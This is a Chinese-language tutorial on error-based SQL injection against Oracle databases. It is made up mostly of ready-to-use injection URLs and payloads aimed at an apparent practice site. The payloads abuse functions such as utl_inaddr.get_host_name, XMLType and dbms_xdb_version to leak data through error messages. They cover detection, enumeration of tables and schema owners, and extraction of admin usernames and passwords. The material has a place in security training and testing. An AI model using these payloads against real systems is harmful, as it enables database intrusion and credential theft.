0x00 前言
在oracle注入時候出現了數據庫報錯信息,可以優先選擇報錯注入,使用報錯的方式將查詢數據的結果帶出到錯誤頁面中。
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入(MYSQL僅使用函數報錯即可),類似mssql報錯注入的方式。
判斷注入
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 -- http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 報錯函數注入
utl_inaddr.get_host_name()進行報錯注入
and 1=utl_inaddr.get_host_name((select user from dual))-- http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
utl_inaddr.get_host_address 本意是獲取ip 地址,但是如果傳遞參數無法得到解析就會返回一個oracle 錯誤並顯示傳遞的參數。
我們傳遞的是一個sql 語句所以返回的就是語句執行的結果。oracle 在啟動之后,把一些系統變量都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西。通常非常重要的信息有:

ctxsys.drithsx.sn()進行報錯注入
http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

XMLType()進行報錯注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null -- http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

dbms_xdb_version.checkin()進行報錯注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null -- 查詢版本信息 http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

bms_xdb_version.makeversioned()進報錯注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()進行報錯注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()進行報錯注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()進行報錯注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
decode進行報錯注入
這種方式更偏向布爾型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
0x02 報錯函數注入數據
Oracle 數據庫的注入不同於其他數據庫,如Access 和Mysql,它包含了幾個系統表,這幾個系統表里存儲了系統數據庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就存儲了用戶的所有的表、列名,其中table_name 表示的是系統里的表名,column_name 里的是系統里存在的列名
爆庫 第一行記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一個記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二個記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

報錯admin表的 用戶和密碼
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

其他報錯函數大同小異。
